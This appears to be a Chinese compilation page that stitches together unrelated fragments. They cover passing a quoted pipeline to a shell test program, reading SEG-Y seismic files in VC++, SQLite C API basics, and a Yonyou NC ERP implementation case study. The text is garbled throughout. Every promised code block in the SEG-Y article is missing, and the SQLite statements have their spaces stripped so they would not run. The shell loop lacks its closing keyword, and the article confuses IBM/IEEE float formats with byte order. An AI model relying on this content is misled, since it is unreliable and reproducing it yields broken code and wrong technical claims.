$./mypipe ls -a -l | sort | wc

$./mypipe “ls -a -l | sort | wc ”

显然我要的是第2种输入,把 “ls -a -l | sort | wc ” 作为整体传给我的 mypipe,来测试我的 mypipe 能不能正确识别出字符串里面的各种命令。

如果不用 IFS 的话,还有一种方法可以得到上面第二种方法的效果:

代码如下:

#!/bin/sh

testfile=$1

x=`wc -l $testfile |awk ‘{print $1}‘`

i=1

while [ $i -le $x ]

do

echo “`head -$i$testfile | tail -1`”

i=`expr $i + 1`

nc读取总结 篇10

地震勘探采集的地震资料经处理后多以SEG-Y格式记录, 因而用来进行解释的地震数据也基本来源于SEG-Y格式文件。要了解探区的地质构造, 准确估算探区石油储量, 确定井位, 都需要对大量的地震数据进行精确的解释。这样, 准确读取SEG-Y格式地震文件, 便显得至关重要。

在PC机上对这些数据进行处理和监测, 因此就存在格式读取问题。目前, 在PC机上经常选用VC环境下处理数据。VC++是目前功能强大、界面友好且操作方便的一种高级编程语言, 因其卓越的性能, 面向对象的可视化编程环境而受到越来越多的软件开发人员的重视。在此讨论的就是如何在VC++环境下读取SEG-Y格式的地震勘探数据。

2 SEG-Y格式

SEG是the Society of Exploration Geophysicists缩写。它是一个非赢利性质的组织, 成立于1930年, 旨在推动地球物理科学的进步并加强对地球物理学者的培养教育, 在全世界129个国家拥有2500多名成员。

SEG-Y数据交换格式SEG-Y rev 0自1975年推出以来在地球物理界得到了广泛的应用, 并引发了一系列的革新, 随着三维数据采集技术以及高速度、大容量记录媒体的应用, SEG-Y rev 0已经不能满足现阶段数据采集、处理及存储的需求, 因此, SEG技术标准委员会推出了新的格式标准———SEG-Y rev 1.0。

新版本中保留的1975年的标准: (1) 文本的EBCDIC (扩展的二十进制交换码) 编码格式, (2) 3200字节的文本文件头在整个文件中的位置、长度及400字节的文本文件头的长度;改进的款项有: (1) SEGY文件可写入任何支持连续变长度记录的媒体; (2) 对数据的格式进行了扩展———4字节的IEEE (美国电子和电器工程师协会) 浮点型数据和单字节的整型数据; (3) 对400字节的二进制文件头和240字节的道头中的少数附加项进行了定义并对现有一些记录的用途做了声明; (4) 引入了扩展的文本文件头; (5) 定义了标准的段 (stanz) 格式 (段是组成扩展的文本文件头的基本单元) ; (6) 扩展了道识别标识; (7) 文本文件头和扩展的文本文件头都可编译成EBCDIC和ASCII字符, 包括N个扩展文本文件头和M个道记录的字节数据流结构的SEGY文件, 以下对读取数据的给予讲解。

2.1 文件结构

文件结构如表1所示:前3600字节 (包括3200字节的文本文件头和400字节的二进制文件头) 常被看做一个整体。其后的是N个3200字节的扩展文本文件头记录。最后是以地震道为单位的M道地震数据, 而每道数据又分别由道头和道信息组成。

2.2 文本文件头

文本文件头3200字节的文本文件头包含了40条 (每条80字节) 用来保存一些对地震数据体进行描述的信息。需要注意的是, 文本文件头是采用EBCDIC编码的, 所以必须将其转换为ASCII码后才能显示。

2.3 扩展文本文件头

扩展的文本文件头 (当二进制文件头中3505-3506字节不为零时, 才有扩展的文本文件头记录) 位于二进制文件头和第1个道记录之间。扩展的文本文件头包括1个或多个3200字节的记录, 并为必要的记录提供了良好的弹性存储空间。扩展文本文件头记录的信息主要有三维面元网格、处理过程及采集参数等。

2.4 二进制文件头

二进制文件头 (400字节) 用来存储描述SEG-Y文件的一些关键信息, 包括SEG-Y文件的数据格式、采样点数、采样间隔、测量单位等一些信息, 这些信息一般存储在二进制文件头的固定位置上。其数据类型是32位或16位的整形。需要注意的是, SEG-Y中的信息数据一般情况下都是SUN (工作站) 格式, 要想在PC (微机) 上正确读取数据, 必须对数据进行格式转换。工作站格式的数据是高字节在前、低字节在后, 即BigEndian, 微机则是低字节在前、高字节在后, 即LittleEndian。因此两种格式的转换需要交换数据的高低位。

2.5 道头

每道地震数据都是由道头和道数据构成。道头有固定长度240字节, 用来存储采样点数、采样间隔和采样点数据格式等重要信息。

道头中以2字节或4字节的两位互补整型数据来存储道属性信息。

2.6 道数据

工作站SEG-Y数据的存储格式一般为IBM (International Business Machines) 格式, 而编程人员在PC机上开发处理程序时, 程序要读入的数据要求是按IEEE (Institute for Electrical and Electronic Engineers) 格式存储的数据。所以要实现IBM和IEEE两种存储格式之间的相互转换。

假设IBM存储方式在内存的存储特征为由高位字节到低位字节存储, 有一个4字节长整型数据为12345678, 其在内存中的4个二进制形式为00000000 10111100 0110000101001110.IEEE存储方式在内存的存储特征为由低位字节到高位字节存储, 上述长整型数据12345678在内存中4个字节的二进制形式为01001110 01100001 10111100 00000000, 与IBM格式是反序的。

3 程序流程

不仅根据SEG-Y格式新标准对正常数据文件进行读取, 还考虑到现实生活中常常存在存储介质保护不力或者厂家为了数据保密引起的卷头缺失的情况, 对无卷头数据也做了研究。程序流程如图1所示。

4 程序实现

作为面向对象程序设计语言的典范, VC++具有程序开发简单, 功能扩展方便, 驱动底层硬件能力强大等优点, 得到广大软件开发工作者的青睐。VC++是目前P C机上使用较多的一种编程环境, 因此作者根据实际需要编写了在该环境下读取SEG-Y格式地震勘探数据的具体程序。

4.1 加载SEGY数据文件

主要功能。首先要加载数据文件, 并根据文件初始化一些信息, 如:是否有卷头、是否为固定道长等。

代码如下:

4.2 有卷头情况

主要功能。数据文件有卷头时, 为将来随机读取道数据初始化信息。

编程思路:若有卷头, 读取二进制卷头。根据二进制卷头得到采样点的数据格式、采样点数、采样间隔、是否有扩展文件头、是固定道长还是可变道长等信息。

代码如下:

4.3 无卷头情况

主要功能。数据文件为无卷头时, 初始化读出道数据主要信息。

编程思路:若无卷头, 读取前两道的道头, 判断两个道的采样点数是否相同, 若相同就先认为是固定道长, 否则为可变道长。最后再根据文件长度是否道长度 (道头+采样点数*采样点数据所占字节数) 整数倍来判断是否为固定道长。在无卷头的境况下, 根据经验认为采样点的存储格式是IBM浮点。

代码如下:

4.4 固定道长

主要功能。当数据文件以固定道长存储道信息时, 初始化道有多长、共有多少道等信息。

编程思路:根据样本点的数据格式、样本点数得到每道所占存储空间, 公式为,

每道长度=每个样本点所占空间×样本点数+道头长度

代码如下:

4.5 可变道长

主要功能。在卷头信息标明为可变道长的情况下, 所有道的长度也有可能是相同的, 此函数就是遍历整个文件来判断下文件中道的长度是否相等。

编程思路:先假定所有的道的长度都是相等的, 顺序读取每道的道头信息, 判断一下当前道的长度是否与前面的道长度相等。如果不相等, 不再读文件, 可以断定道的长度是变化的;否则, 继续读取下道数据, 直到遇到不等的情况或者文件结束, 文件结束时可以断定道的长度是固定不变的。

代码如下:

4.6 定位到第N道的道头

主要功能。直接定位文件的读取指针到第N道的道头位置。

编程思路:考虑固定道长和变道长两种情况。若为固定道长, 根据道长度和偏移量直接跳转到第N道的道头位置, 从而取出长度为240字节的道头;若为变道长情况, 就先读取第一道的道头, 然后根据道头中的采样点数信息跳过本道的数据部分, 读取下一道的道头, 依次类推跳到第N道的道头的位置。

代码如下:

4.7 读取第N道的道头

主要功能。打开数据文件, 直接获得第N道的道头信息。

编程思路:分固定道长和可变道长两种情况进行分析。

4.8 读取第N道的数据

主要功能。打开数据文件后的第N道的采样点数据。

编程思路:首先定位到第N道的道头, 根据采样点的数据格式, 取出采样点数据。

代码如下:

5 CODSegyAdapter类的应用实例

(1) 建立工程与添加CODSegyAdapter类

用VS2005建立一个MFC应用程序, 在工程中分别添加类CODSegyAdapter的头文件CODSegyAdapter.h与cpp文件CODSegyAdapter.cpp, 另外还要填加程序中需要的数据转换头文件dataswaper.h和定义的SEG-Y所需数据结构头文件SEGYStru.h。

(2) 拖拉控件

得到如图2所示的对话框。

(3) 给“打开”按钮添加事件

点击“打开”按钮时, 弹出选择segy文件的对话框。代码如下:

(4) 给“保存”按钮添加事件

选择保存路径, 并将segy文件保存为txt文件。代码如下:

(5) 给“查看”按钮添加事件

打开所保存的txt文件。代码如下:

6 利用CODSegyAdapter类画地震剖面图

实际应用中, 用该SEGY读取类获得了采样点的信息和数据, 画出了如图3所示的剖面图。

7 结语

nc读取总结 篇11

基本操作:

(1)打开或者创建数据库

sqlite3*database;

intresult=sqlite3_open(“/path/databaseFile”,&database);

如果/path/databaseFile不存在,则创建它,否则打开它。如果result的值是SQLITE_OK,则表明我们的操作成功。

注意上述语句中数据库文件的地址字符串前面没有@字符,它是一个C字符串。将NSString字符串转成C字符串的方法是:

constchar*cString=[nsStringUTF8String];

(2)关闭数据库

sqlite3_close(database);

(3)创建一个表格

char*errorMsg;

constchar*createSQL=“CREATETABLEIFNOTEXISTSPEOPLE(IDINTEGERPRIMARYKEYAUTOINCREMENT,FIELD_DATATEXT)”;

intresult=sqlite3_exec(database,createSQL,NULL,NULL,&errorMsg);

执行之后,如果result的值是SQLITE_OK,则表明执行成功;否则,错误信息存储在errorMsg中,

sqlite3_exec这个方法可以执行那些没有返回结果的操作,例如创建、插入、删除等。

(4)查询操作

nc读取总结 篇12

[中D分类号]F232;F406.7;F426.6 [文献标识码]A [文章编号]1673-019412-00-02

0 引 言

近年来,企业ERP系统已逐步在各行各业中得到了广泛应用和普及,ERP系统作为信息技术的产物,是衡量企业开展信息化建设的标志,对企业管理思想、经营方式、组织结构和资源配置都产生了积极作用,成为推进企业观念转变和思维创新、规范和优化管理业务流程、实现数据和信息集成共享的有力工具。

1 项目背景

ESI公司是一家有30余年历史的生产制造型高新技术企业,主要产品包括电触头材料、绝缘材料、薄膜生产线成套装备和特种电机,其生产类型既有连续型生产又有离散型生产,既有备货型生产又有订单型生产,既有小批量多品种生产又有项目型定制化生产,同时还涉及贵金属管理等问题,在财务内控管理、成本核算、供应链管理和精益生产等方面具有迫切管理需求。为适应未来几年产业发展的需要,ESI公司决定上线一个功能适用、方案可行、性能可靠、与上级主要单位财务兼容的ERP系统,通过信息化手段实现全面管理。

2 项目立项及实施过程回顾

ESI公司首先进行了项目立项,根据战略发展规划对公司业务进行了全面分析,制定了“整体规划、分步实施、效益驱动、重点突破”的工作原则,明确了实施ERP系统所达到的5点目标,即搭建一个基础的、可扩展的信息管理平台,具备一种对资金计划、预算进行内部控制的管理工具;改变资金账,实物账期末无法自动结转,耗费大量人工在对账核销工作上;按照管理要求实现业务成本分类、统计与核算;统筹采购、库存、生产、销售与财务管理对接,实现财务与业务一体化;建立现代企业管理体系,全面提升管理水平。ESI公司随后实地考察了多家已实施上线ERP系统的企业,学习借鉴有关企业实施应用的成功经验,同时对国内用友、金蝶等厂商的ERP产品进行全面对比,初步论证了满足当前公司内控管理需要,便于日后扩展提供可行性方案。

经认真选型和商务谈判,ESI公司最后选定了用友NC管理信息系统,第一期上线的系统内容包括财务管理总账、应收、应付、存货核算、固定资产、银行对账和企业报表等模块,供需链管理的合同管理、采购管理、销售管理、库存管理、库存计划和委外加工等模块,生产管理的物料需求计划、离散生产任务管理等模块。ESI公司抽调相关部门的业务骨干组建了项目组,制订了详细的实施计划,按照“以财务为中心,自上而下,逐步推进”的工作思路组织实施NC系统。实施过程主要分为3个阶段,第一阶段为初步方案及系统搭建、测试阶段,在本阶段完成了需求调研,编写系统方案,定义系统编码规则,梳理确认业务流,安装测试系统,整理及录入基础数据等工作;第二阶段为方案优化及数据补录阶段,在本阶段完成了评审及优化实施方案,搭建及配置正式系统环境,培训最终用户,补录动态数据,二次开发对接上级单位财务系统等工作;第三阶段为试运行及系统优化阶段,在本阶段完成了实施顾问驻场指导知识转移,解决处理异常问题,改进优化系统等工作。经过一年时间的系统实施,各相关部门能够通过系统熟练的日常处理业务,及时录入数据,保证用友NC管理信息系统处于稳定运行状态。

3 项目主要业务场景描述

NC系统中的信息流是核心、物流是保障、资金流是手段,通过三者有效互动和同步处理,构成了一个完整的管理模型。供应链管理模块以销售作为需求来源推动下游业务展开,通过计算库存,结合产成品现有结存量、可用量、安全库存、最高最低库存等物料属性进行MRP运算计算出产品缺货量,并根据物料类型、制造件和委外件BOM计算产成品对应原材料的缺货量;采购件根据计算生成请购单继而走后续采购流程,委外件根据计算计划生成委外订单走后续委外业务流程,制造件根据MRP计算生成计划订单,进行生成离散生产订单;产品库存满足需求后由销售订单执行后续销售业务流程,根据物料属性不同推动下游单据以及相应流程流转;销售、采购、委外加工、生产制造、库存管理各模块相互关联构成供应链管理的整体流程。财务管理模块以前端业务单据作为数据唯一来源,保证数据的准确性和一致性。当企业发生经济业务时,NC系统的财务管理模块通过凭证触发机制自动选择相应凭证模板,根据业务与账户之间的关系形成会计数据,自动生成凭证;实时检测数据库中的数据变化情况,一旦关键字段发生改变则自动触发记账、过账业务;同时,通过智能分析程序进行处理分析,向报表系统提供相关报表数据,结果存入数据库,生成决策所需各种报表、报告等信息。

4 项目实施效果评价

ESI公司的系统实施把对软件系统的理解与对企业管理的认识进行有机结合,通过“系统配置+业务流+单据操作+审批流+报表”等方法,将各业务环节的管控要点一一固化到信息系统中,实现了资金运行集成、业务流程优化、存货动态监控和管理持续改善。系统上线成功主要表现在以下8个方面:①通过规范基础管理、统一核算规则、完善基础档案资料、优化部分业务流程、编制系统应用操作规程,进一步规范企业管理;②搭建了高可用性的、统一的信息工作平台,建立了统一的业务处理流程;③使管理人员实时获取所需统计分析数据,大幅提升了数据的及时性和有效性;④规范了业务员处理业务的日常习惯,加强了部门之间、岗位之间的工作交叉,强化了互相监督、互相约束的工作机制;⑤实现了财务业务一体化的协同管理,做到数据可追溯,能快速找出存在问题的业务处理环节,方便核对、分析与纠错;⑥通过严格、灵活的权限规划与委派分配,实现业务权限的合理规划,使上级监管更具可操作性;⑦方便管理层实时监控,在数据物理集中基础上实现财务、业务数据实时、动态的跨单位、跨期间查询、汇总、分析、监控,从而有效支持决策;⑧实现物流管理业务多维度的监控与核算分析,如实现特殊部门的物料管理要求,增加了批次、项目、单机、部件等控制和核算维度,为实现精细化物料管控与核算分析提供了功能保证。 5 项目实施成功经验总结

(1)领导重视及推进。实施新信息系统伴随着业务流程优化,而流程改变则意味着调整相关人员的工作方式,每当系统实施遇到困难和阻力时,ESI公司的“一把手”和各部门的“一把手”都会采取有力措施进行强力推动,使职工密切配合,为系统实施提供了坚强后盾。

(2)录入数据准确性。数据的完整准确是信息系统的基石,为保证各业务环节数据的准确性,ESI公司在实施中对数据管理采取了几点措施:一是了解数据,在整理数据前让数据提供者了解其来源和目的;二是审查数据来源,从核心数据库中提取信息前进行识别数据来源并检查来源的有效性;三是开展数据治理,对数据获取、处理和使用进行监管,进一步验证数据的准确性。

(3)发挥项目团队的`核心作用。ESI公司系统实施项目组充分发挥了各项目组成员的专业特长和积极性,在团队建设上经历了初建、震荡、磨合、协作和默契5个阶段,最终形成了一个高效、互相信任的工作团队,成为推动系统成功实施的中坚力量。

(4)重视培训。应用NC系统要靠基层职工进行具体操作,ESI公司在实施过程中特别重视培训工作,在实施NC系统前,要对中高层领导、业务骨干和普通员工开展分层次、多种形式的培训活动,从而达到统一认识、发现需求、学习经验和掌握技能的目的。

(5)充分评估风险,定位准确。ESI公司将软件选型、实施内容、实施范围、实施步骤与公司发展战略的阶段性目标紧密结合起来,进行了准确定位,同时对项目实施风险进行充分评估,采取了必要手段进行预防和控制,尽可能地规避和降低实施风险。

6 企业应用用友NC系统存在的问题

第一,还需定制开发个性化管理需求。NC系统是用友公司推出的一个通用型企业信息系统,充分利用系统功能虽然能满足和实现ESI公司的大部分管理要求,但仍然存在一些个性化管理需求不能完全实现,还需要在NC系统上提供二次开发模块上进行定制开发。第二,还需持续提升适应管理需求新变化的能力。管理无止境,随着公司的不断发展,企业要不断提出新的管理要求,系统运维管理队伍不能快速响应和适应管理需求的新变化,不能及时完成系统优化调整。第三,还需进一步扩展系统应用的覆盖面。除财务管理、供应链管理和生产管理外,NC系统还有大量其他管理模块未实施开展,只有进一步扩展系统的应用覆盖面,才能全面、整体提升企业管理水平。

7 结 语

上一篇:2023年会计实务变动及影响下一篇:高中美术现代绘画课件